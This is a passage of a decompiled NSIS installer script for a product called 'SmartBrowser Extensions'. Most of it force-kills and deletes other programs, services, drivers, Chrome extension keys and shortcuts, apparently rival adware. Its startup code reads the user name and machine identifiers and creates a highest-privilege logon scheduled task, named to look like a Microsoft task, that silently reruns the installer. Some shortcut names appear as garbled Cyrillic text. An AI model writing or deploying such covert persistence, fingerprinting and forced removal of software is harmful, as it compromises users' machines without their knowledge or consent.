; Push "cmd /k taskkill /IM csrcc.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM prc.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM prc.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES64\$1
label_4207:
IfFileExists $PROGRAMFILES\LighterSystem 0 label_4209
RMDir /r /REBOOTOK $PROGRAMFILES\LighterSystem
label_4209:
IfFileExists "$PROGRAMFILES\Proxy SwitchyOmega" 0 label_4216
nsExec::Exec "cmd /k taskkill /IM $\"Proxy SwitchyOmega.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"Proxy SwitchyOmega.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\Proxy SwitchyOmega"
label_4216:
IfFileExists $LOCALAPPDATA\WebExtend 0 label_4218
RMDir /r /REBOOTOK $LOCALAPPDATA\WebExtend
label_4218:
IfFileExists "$PROGRAMFILES64\Content Defender" 0 label_4241
nsExec::Exec "cmd /k taskkill /IM $\"ContentDefender.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"ContentDefender.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\ContentDefender
DeleteRegKey HKLM SYSTEM\ControlSet001\services\contentdefenderdrv
RMDir /r /REBOOTOK "$PROGRAMFILES64\Content Defender"
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\contentdefenderdrv.sys 0 label_4234
Delete /REBOOTOK $SYSDIR\drivers\contentdefenderdrv.sys
label_4234:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\contentdefenderdrv.sys 0 label_4241
Delete /REBOOTOK $SYSDIR\drivers\contentdefenderdrv.sys
label_4241:
IfFileExists "$PROGRAMFILES\Sharp Angle" 0 label_4275
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Util Sharp Angle"
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Sharp Angle"
nsExec::Exec "cmd /k taskkill /IM $\"SharpAngle.BrowserAdapter.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"SharpAngle.BrowserAdapter.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM $\"SharpAngle.BrowserAdapter64.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"SharpAngle.BrowserAdapter64.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM $\"SharpAngle.expext.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"SharpAngle.expext.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM $\"SharpAngle.PurBrowse64.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"SharpAngle.PurBrowse64.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM $\"utilSharpAngle.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"utilSharpAngle.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM $\"updateSharpAngle.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"updateSharpAngle.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\Sharp Angle"
label_4275:
IfFileExists $PROGRAMFILES\ospd_us_* 0 label_4289
StrCpy $0 ""
FindFirst $0 $R1 $PROGRAMFILES\ospd_us_*
label_4278:
StrCmp $R1 "" label_4288
IfFileExists $PROGRAMFILES\$R1 0 label_4286
nsExec::Exec "cmd /k taskkill /IM $R1.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $R1.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\$R1
label_4286:
FindNext $0 $R1
Goto label_4278
label_4288:
FindClose $0
label_4289:
IfFileExists $LOCALAPPDATA\ospd_us_* 0 label_4303
StrCpy $0 ""
FindFirst $0 $R1 $LOCALAPPDATA\ospd_us_*
label_4292:
StrCmp $R1 "" label_4302
IfFileExists $LOCALAPPDATA\$R1 0 label_4300
nsExec::Exec "cmd /k taskkill /IM $R1.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $R1.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $LOCALAPPDATA\$R1
label_4300:
FindNext $0 $R1
Goto label_4292
label_4302:
FindClose $0
label_4303:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\dnligehkhogpcngalffdoomehjcbecna $0
IfErrors label_4307
DeleteRegKey HKLM Software\Google\Chrome\Extensions\dnligehkhogpcngalffdoomehjcbecna
label_4307:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\gehmndecgbcffhmfjkenpamdgechcgpe $0
IfErrors label_4311
DeleteRegKey HKLM Software\Google\Chrome\Extensions\gehmndecgbcffhmfjkenpamdgechcgpe
label_4311:
IfFileExists $LOCALAPPDATA\allskidkimos 0 label_4318
nsExec::Exec "cmd /k taskkill /IM $\"stub.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"stub.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $LOCALAPPDATA\allskidkimos
label_4318:
ClearErrors
ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Service Mgr HighStairs" ImagePath
IfErrors label_4332
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_4332
RMDir /r /REBOOTOK $2
label_4332:
ClearErrors
ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Update Mgr HighStairs" ImagePath
IfErrors label_4346
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_4346
RMDir /r /REBOOTOK $2
label_4346:
IfFileExists "$PROGRAMFILES\High Stairs" 0 label_4350
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Service Mgr HighStairs"
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Mgr HighStairs"
RMDir /r /REBOOTOK "$PROGRAMFILES\High Stairs"
label_4350:
IfFileExists $PROGRAMFILES\RapidMediaConverter 0 label_4357
nsExec::Exec "cmd /k taskkill /IM $\"RapidMediaConverterApp.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"RapidMediaConverterApp.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\RapidMediaConverter
label_4357:
IfFileExists $SMSTARTUP\RapidMediaConverterApp.lnk 0 label_4359
Delete /REBOOTOK $SMSTARTUP\RapidMediaConverterApp.lnk
label_4359:
IfFileExists $PROGRAMFILES\MiniLite 0 label_4367
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\IHProtect Service"
nsExec::Exec "cmd /k taskkill /IM $\"ProtectService.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"ProtectService.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\MiniLite
label_4367:
SetShellVarContext all
IfFileExists "$DESKTOP\MPC Cleaner.lnk" 0 label_4370
Delete "$DESKTOP\MPC Cleaner.lnk"
label_4370:
IfFileExists "$DESKTOP\Ãîðÿ÷èå íîâîñòè.lnk" 0 label_4372
Delete "$DESKTOP\Ãîðÿ÷èå íîâîñòè.lnk"
label_4372:
IfFileExists $DESKTOP\DriverScanner.lnk 0 label_4374
Delete $DESKTOP\DriverScanner.lnk
label_4374:
IfFileExists $DESKTOP\SpeedUpMyPC.lnk 0 label_4376
Delete $DESKTOP\SpeedUpMyPC.lnk
label_4376:
IfFileExists $APPDATA\mspop.exe 0 label_4384
nsExec::Exec "cmd /k taskkill /IM mspop.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM mspop.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run msiql
Delete /REBOOTOK $APPDATA\mspop.exe
label_4384:
IfFileExists $DESKTOP\Yeaplayer.lnk 0 label_4386
Delete $DESKTOP\Yeaplayer.lnk
label_4386:
IfFileExists $APPDATA\WindowsMsg 0 label_4400
nsExec::Exec "cmd /k taskkill /IM osmsg.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM osmsg.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run taskhost
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run osmsg
nsExec::ExecToStack "schtasks /delete /tn $\"osTip$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"osTip$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $APPDATA\WindowsMsg
label_4400:
IfFileExists "$APPDATA\Windows Update\svrupg.exe" 0 label_4408
nsExec::Exec "cmd /k taskkill /IM svrupg.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM svrupg.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\GoogleChromeUpSvc
RMDir /r /REBOOTOK "$APPDATA\Windows Update"
label_4408:
IfFileExists $DESKTOP\ÂÊîíòàêòå.lnk 0 label_4410
Delete $DESKTOP\ÂÊîíòàêòå.lnk
label_4410:
IfFileExists $DESKTOP\Îäíîêëàññíèêè.lnk 0 label_4412
Delete $DESKTOP\Îäíîêëàññíèêè.lnk
label_4412:
IfFileExists $APPDATA\HomePage.exe 0 label_4420
nsExec::Exec "cmd /k taskkill /IM HomePage.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM HomePage.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run LightGate
Delete /REBOOTOK $APPDATA\HomePage.exe
label_4420:
IfFileExists $APPDATA\LightGate.exe 0 label_4428
nsExec::Exec "cmd /k taskkill /IM LightGate.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM LightGate.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run HomePageHelper
Delete /REBOOTOK $APPDATA\LightGate.exe
label_4428:
IfFileExists $APPDATA\msiql.exe 0 label_4436
nsExec::Exec "cmd /k taskkill /IM msiql.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM msiql.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run msiql
Delete /REBOOTOK $APPDATA\msiql.exe
label_4436:
IfFileExists $APPDATA\service.exe 0 label_4444
nsExec::Exec "cmd /k taskkill /IM service.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM service.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\GoogleChromeUpService
Delete /REBOOTOK $APPDATA\service.exe
label_4444:
IfFileExists $APPDATA\Quotenamrons 0 label_4446
RMDir /r /REBOOTOK $APPDATA\Quotenamrons
label_4446:
IfFileExists $APPDATA\Quotenamron 0 label_4454
nsExec::Exec "cmd /k taskkill /IM Quotenamron.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Quotenamron.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\Quotenamron
RMDir /r /REBOOTOK $APPDATA\Quotenamron
label_4454:
IfFileExists $DESKTOP\SHAREit.lnk 0 label_4456
Delete $DESKTOP\SHAREit.lnk
label_4456:
IfFileExists "$DESKTOP\William Hill Casino.lnk" 0 label_4458
Delete "$DESKTOP\William Hill Casino.lnk"
label_4458:
IfFileExists $DESKTOP\ZaxarGameBrowser.lnk 0 label_4460
Delete $DESKTOP\ZaxarGameBrowser.lnk
label_4460:
IfFileExists $APPDATA\{5dd9654f-130b-71b5-5dd9-9654f130953c} 0 label_4467
nsExec::ExecToStack "schtasks /delete /tn $\"MyPiano$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"MyPiano$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $APPDATA\{5dd9654f-130b-71b5-5dd9-9654f130953c}
label_4467:
IfFileExists "$DESKTOP\Max Driver Updater.lnk" 0 label_4469
Delete "$DESKTOP\Max Driver Updater.lnk"
label_4469:
IfFileExists $APPDATA\*WinManPro* 0 label_4479
StrCpy $0 ""
FindFirst $0 $R1 $APPDATA\*WinManPro*
label_4472:
StrCmp $R1 "" label_4478
IfFileExists $APPDATA\$R1\ProtectWindowsManager.exe 0 label_4476
Push $APPDATA\$R1
Call func_238
label_4476:
FindNext $0 $R1
Goto label_4472
label_4478:
FindClose $0
label_4479:
IfFileExists $APPDATA\TomorrowGames 0 label_4481
RMDir /r /REBOOTOK $APPDATA\TomorrowGames
label_4481:
IfFileExists "$DESKTOP\Rapid Media Converter.lnk" 0 label_4483
Delete "$DESKTOP\Rapid Media Converter.lnk"
label_4483:
FunctionEnd
Function func_4484
Exch $1
; Push $1
; Exch
; Pop $1
IfFileExists $1 0 label_4499
StrCpy $2 ""
FindFirst $3 $2 $1\*.exe
label_4490:
StrCmp $2 "" label_4498
nsExec::Exec "cmd /k taskkill /IM $\"$2$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"$2$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
FindNext $3 $2
Goto label_4490
label_4498:
FindClose $3
label_4499:
FunctionEnd
Function func_4500 ; Page 2, Pre
SendMessage $_0_ ${WM_SETTEXT} 0 STR:$(LSTR_37) ; Installing
SendMessage $_2_ ${WM_SETTEXT} 0 STR:$(LSTR_38) ; "Please wait while $(LSTR_56) is being installed." "SmartBrowser Extensions 4.5.8.7879"
FunctionEnd
Function func_4503 ; Page 2, Show
FindWindow $_14_ "#32770" "" $HWNDPARENT
GetDlgItem $_15_ $_14_ 1006
GetDlgItem $_16_ $_14_ 1004
GetDlgItem $_17_ $_14_ 1027
GetDlgItem $_18_ $_14_ 1016
FunctionEnd
Function func_4509 ; Page 2, Leave
IfAbort label_4513
SendMessage $_0_ ${WM_SETTEXT} 0 STR:$(LSTR_39) ; "Installation Complete"
SendMessage $_2_ ${WM_SETTEXT} 0 STR:$(LSTR_40) ; "Setup was completed successfully."
Goto label_4515
label_4513:
SendMessage $_0_ ${WM_SETTEXT} 0 STR:$(LSTR_41) ; "Installation Aborted"
SendMessage $_2_ ${WM_SETTEXT} 0 STR:$(LSTR_42) ; "Setup was not completed successfully."
label_4515:
IfAbort label_4516
label_4516:
FunctionEnd
Function .onGUIInit
GetDlgItem $_0_ $HWNDPARENT 1037
CreateFont $_1_ $(LSTR_43) $(LSTR_44) 700 ; "MS Shell Dlg" 8
SendMessage $_0_ ${WM_SETFONT} $_1_ 0
GetDlgItem $_2_ $HWNDPARENT 1038
SetCtlColors $_0_ "" 0xFFFFFF
SetCtlColors $_2_ "" 0xFFFFFF
GetDlgItem $_3_ $HWNDPARENT 1034
SetCtlColors $_3_ "" 0xFFFFFF
GetDlgItem $_4_ $HWNDPARENT 1039
SetCtlColors $_4_ "" 0xFFFFFF
GetDlgItem $_6_ $HWNDPARENT 1028
SetCtlColors $_6_ /BRANDING ""
GetDlgItem $_5_ $HWNDPARENT 1256
SetCtlColors $_5_ /BRANDING ""
SendMessage $_5_ ${WM_SETTEXT} 0 "STR:$(LSTR_0) " ; " "
GetDlgItem $_7_ $HWNDPARENT 1035
GetDlgItem $_8_ $HWNDPARENT 1045
GetDlgItem $_9_ $HWNDPARENT 1
GetDlgItem $_10_ $HWNDPARENT 2
GetDlgItem $_11_ $HWNDPARENT 3
FunctionEnd
Function .onUserAbort
FunctionEnd
Function func_4539
Exch $6
; Push $6
; Exch
; Pop $6
Exch
Exch $5
; Push $5
; Exch
; Pop $5
Exch
Exch 2
Exch $4
; Push $4
; Exch
; Pop $4
Exch 2
Exch 3
Exch $3
; Push $3
; Exch
; Pop $3
Exch 3
Exch 4
Exch $2
; Push $2
; Exch
; Pop $2
Exch 4
Exch 5
Exch $1
; Push $1
; Exch
; Pop $1
Exch 5
Exch 6
Exch $0
; Push $0
; Exch
; Pop $0
Exch 6
Push $7
Push $8
Push $9
Push $R3
Push $R2
Push $R1
Push $R0
StrCpy $R0 ""
StrCpy $R1 ""
StrCpy $R2 ""
StrCpy $R3 ""
StrCmp $0 "" 0 label_4586
SetErrors
Goto label_4678
label_4586:
StrCmp $1 "" 0 label_4589
SetErrors
Goto label_4678
label_4589:
StrCmp $2 < label_4591
StrCpy $2 >
label_4591:
StrCmp $3 < label_4593
StrCpy $3 >
label_4593:
IntCmp $4 0 label_4595
StrCpy $4 1
label_4595:
IntCmp $5 0 0 0 label_4597
StrCpy $5 0
label_4597:
IntCmp $6 1 label_4599
StrCpy $6 0
label_4599:
StrLen $7 $0
StrLen $8 $1
StrCmp $2 < 0 label_4605
IntOp $R1 $7 - $8
StrCpy $R2 $7
Goto label_4607
label_4605:
StrCpy $R1 0
StrCpy $R2 $8
label_4607:
StrCpy $9 0
label_4608:
IntCmp $R1 0 label_4615 0 label_4615
StrCpy $R1 ""
StrCpy $R2 ""
StrCpy $R3 ""
SetErrors
Goto label_4678
Goto label_4621
label_4615:
IntCmp $R2 $7 label_4621 label_4621
StrCpy $R1 ""
StrCpy $R2 ""
StrCpy $R3 ""
SetErrors
Goto label_4678
label_4621:
IntCmp $R1 0 label_4623
StrCpy $R3 $0 "" $R1
label_4623:
IntCmp $R2 $7 label_4628
IntCmp $R1 0 0 label_4627 label_4627
StrCpy $R3 $0 $8
Goto label_4628
label_4627:
StrCpy $R3 $R3 $8
label_4628:
StrCmp $6 1 0 label_4642
System::Call "kernel32::lstrcmpA(ts, ts) i.s" $R3 $1
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push $1
; Push $R3
; Push "kernel32::lstrcmpA(ts, ts) i.s"
; CallInstDLL $PLUGINSDIR\System.dll Call
Pop $R3
IntCmp $R3 0 0 label_4640 label_4640
StrCpy $R3 1
Goto label_4641
label_4640:
StrCpy $R3 0
label_4641:
Goto label_4646
label_4642:
StrCmp $R3 $1 0 label_4645
StrCpy $R3 1
Goto label_4646
label_4645:
StrCpy $R3 0
label_4646:
IntCmp $R3 1 0 label_4669 label_4669
IntCmp $9 $5 0 label_4661
StrCmp $4 0 0 label_4655
StrCmp $3 < 0 label_4652
StrCpy $R0 $0 $R1
Goto label_4653
label_4652:
StrCpy $R0 $0 "" $R2
label_4653:
Goto label_4678
Goto label_4660
label_4655:
StrCmp $3 < 0 label_4658
StrCpy $R0 $0 $R2
Goto label_4659
label_4658:
StrCpy $R0 $0 "" $R1
label_4659:
Goto label_4678
label_4660:
Goto label_4668
label_4661:
IntOp $9 $9 + 1
StrCmp $2 < 0 label_4666
IntOp $R1 $R1 - 1
IntOp $R2 $R2 - 1
Goto label_4668
label_4666:
IntOp $R1 $R1 + 1
IntOp $R2 $R2 + 1
label_4668:
Goto label_4675
label_4669:
StrCmp $2 < 0 label_4673
IntOp $R1 $R1 - 1
IntOp $R2 $R2 - 1
Goto label_4675
label_4673:
IntOp $R1 $R1 + 1
IntOp $R2 $R2 + 1
label_4675:
Goto label_4608
Goto label_4675
Goto label_4678
label_4678:
IntOp $R2 $R2 - 1
Exch $R0
; Push $R0
; Exch
; Pop $R0
Exch
Pop $R1
Exch
Pop $R2
Exch
Pop $R3
Exch
Pop $9
Exch
Pop $8
Exch
Pop $7
Exch
Pop $6
Exch
Pop $5
Exch
Pop $4
Exch
Pop $3
Exch
Pop $2
Exch
Pop $1
Exch
Pop $0
FunctionEnd
Function func_4709
ALPHAGHAMI::GSID
; Call Initialize_____Plugins
; AllowSkipFiles on
; File $PLUGINSDIR\ALPHAGHAMI.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GSID
Pop $R1
Push $R1
ALPHAGHAMI::GMACHID
; Call Initialize_____Plugins
; File $PLUGINSDIR\ALPHAGHAMI.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GMACHID
Pop $R1
Push $R1
FunctionEnd
Function .onInit
Call :label_4724
Goto label_4757
label_4724:
StrCmp $CMDLINE "" 0 label_4727
Push ""
Return
label_4727:
Push $0
Push $1
Push $2
Push $3
StrLen $1 $CMDLINE
StrCpy $2 2
StrCpy $3 $CMDLINE 1
StrCmp $3 $\" label_4736
StrCpy $3 " "
label_4736:
IntCmp $2 $1 label_4740 0 label_4740
StrCpy $0 $CMDLINE 1 $2
IntOp $2 $2 + 1
StrCmp $3 $0 0 label_4736
label_4740:
IntCmp $2 $1 label_4745 0 label_4745
StrCpy $0 $CMDLINE 1 $2
StrCmp $0 " " 0 label_4745
IntOp $2 $2 + 1
Goto label_4740
label_4745:
StrCpy $0 $CMDLINE "" $2
label_4746:
StrCpy $1 $0 1 -1
StrCmp $1 " " 0 label_4750
StrCpy $0 $0 -1
Goto label_4746
label_4750:
Pop $3
Pop $2
Pop $1
Exch $0
; Push $0
; Exch
; Pop $0
Return
label_4757:
Pop $R7
ClearErrors
Push $R7
Push --resetup
Call :label_405
Pop $0
IfErrors label_4765
StrCpy $_31_ 1
label_4765:
ClearErrors
Push $R7
Push --safebrowser
Call :label_405
Pop $0
IfErrors label_4772
StrCpy $_32_ 1
label_4772:
ClearErrors
Push $R7
Push --setresetup
Call :label_405
Pop $0
IfErrors label_4779
StrCpy $_65_ 1
label_4779:
ClearErrors
StrCmp $_32_ 1 0 label_4783
IfFileExists $EXEDIR\rsext 0 label_4783
Quit
label_4783:
System::Call "kernel32::CreateMutexA(i 0, i 0, t $\"$(LSTR_2)$\") i .r1 ?e" ; "SmartBrowser Extensions 4.5.8.7879"
; Call Initialize_____Plugins
; AllowSkipFiles off
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push "kernel32::CreateMutexA(i 0, i 0, t $\"$(LSTR_2)$\") i .r1 ?e" ; "SmartBrowser Extensions 4.5.8.7879"
; CallInstDLL $PLUGINSDIR\System.dll Call
Pop $R1
StrCmp $R1 0 label_4793
IfSilent label_4792
MessageBox MB_OK|MB_ICONSTOP "The process SmartBrowser Extensions 4.5.8.7879 has already started!"
label_4792:
Abort
label_4793:
System::Call "advapi32::GetUserName(t .r0, *i 1024 r1) i.r2"
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push "advapi32::GetUserName(t .r0, *i 1024 r1) i.r2"
; CallInstDLL $PLUGINSDIR\System.dll Call
StrCpy $_107_ $0
StrCpy $_153_ extsetup
Push $EXEFILE
Call :label_4803
Goto label_4833
label_4803:
Exch $0
; Push $0
; Exch
; Pop $0
Push $1
Push $2
Push $3
StrCpy $1 0
StrCpy $3 ""
label_4811:
IntOp $1 $1 - 1
StrCpy $2 $0 1 $1
StrCmp $2 "" label_4821
StrCmp $2 \ label_4821
StrCmp $3 noext label_4811
StrCmp $2 . 0 label_4811
StrCpy $0 $0 $1
StrCpy $3 noext
StrCpy $1 0
Goto label_4811
label_4821:
StrCmp $1 -1 label_4825
IntOp $1 $1 + 1
StrCpy $0 $0 "" $1
Goto label_4826
label_4825:
StrCpy $0 ""
label_4826:
Pop $3
Pop $2
Pop $1
Exch $0
; Push $0
; Exch
; Pop $0
Return
label_4833:
Pop $R1
StrCmp $R1 extsetup label_4840
StrLen $5 $EXEFILE
IntCmp $5 6 label_4840 label_4840
Push $R1
Call func_19365
Pop $_153_
label_4840:
StrCmp $_65_ 1 0 label_5144
StrCpy $5 RunOnce
nsExec::ExecToStack "schtasks /create /rl highest /RU $\"$_107_$\" /tn $\"\Microsoft\$_153_$5$\" /sc ONLOGON /tr $\"$\"$\"$\"$EXEPATH$\"$\"$\"/S --resetup$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /create /rl highest /RU $\"$_107_$\" /tn $\"\Microsoft\$_153_$5$\" /sc ONLOGON /tr $\"$\"$\"$\"$EXEPATH$\"$\"$\"/S --resetup$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
Pop $7
nsExec::Exec "cmd /k schtasks /query /xml /tn $\"\Microsoft\$_153_$5$\" > $PLUGINSDIR\TaskES.xml"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k schtasks /query /xml /tn $\"\Microsoft\$_153_$5$\" > $PLUGINSDIR\TaskES.xml"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
IfFileExists $PLUGINSDIR\TaskES.xml 0 label_5104
Push $0
Push $PLUGINSDIR\TaskES.xml
Push ""
Push 1:-1
StrCpy $0 12052
Push $0
Call :label_4862
Goto label_5097
label_4862:
Exch $3
; Push $3
; Exch
; Pop $3
Exch
Exch $2
; Push $2
; Exch
; Pop $2
Exch
Exch 2
Exch $1
; Push $1
; Exch
; Pop $1
Exch 2
Exch 3
Exch $0
; Push $0
; Exch
; Pop $0
Exch 3
Push $4
Push $5
Push $6
Push $7
Push $8
Push $9
Push $R4
Push $R5
Push $R6
Push $R7
Push $R8
Push $R9
ClearErrors
IfFileExists $0 0 label_5079
StrCmp $1 /NUL label_4902
StrCpy $8 0
label_4896:
IntOp $8 $8 - 1
StrCpy $9 $1 1 $8
StrCmp $9 \ label_4900
StrCmp $9 "" label_4902 label_4896
label_4900:
StrCpy $9 $1 $8
IfFileExists $9\*.* 0 label_5079
label_4902:
StrCpy $4 1
StrCpy $5 -1
StrCpy $6 0
StrCpy $7 0
StrCpy $R4 ""
StrCpy $R6 ""
StrCpy $R7 ""
StrCpy $R8 0
StrCpy $8 $2 1
StrCmp $8 { 0 label_4917
StrCpy $2 $2 "" 1
StrCpy $8 $2 1 -1
StrCmp $8 } 0 label_4917
StrCpy $2 $2 -1
StrCpy $R6 TextFunc_LineFind_cut
label_4917:
StrCpy $8 $2 1
StrCmp $8 " " 0 label_4921
StrCpy $2 $2 "" 1
Goto label_4917
label_4921:
StrCmp $2$7 0 label_4960
StrCpy $4 ""
StrCpy $5 ""
StrCmp $2 "" label_5046
label_4925:
StrCpy $8 0
label_4926:
StrCpy $9 $2 1 $8
StrCmp $9 "" label_4932
StrCmp $9 " " label_4932
StrCmp $9 : label_4932
IntOp $8 $8 + 1
Goto label_4926
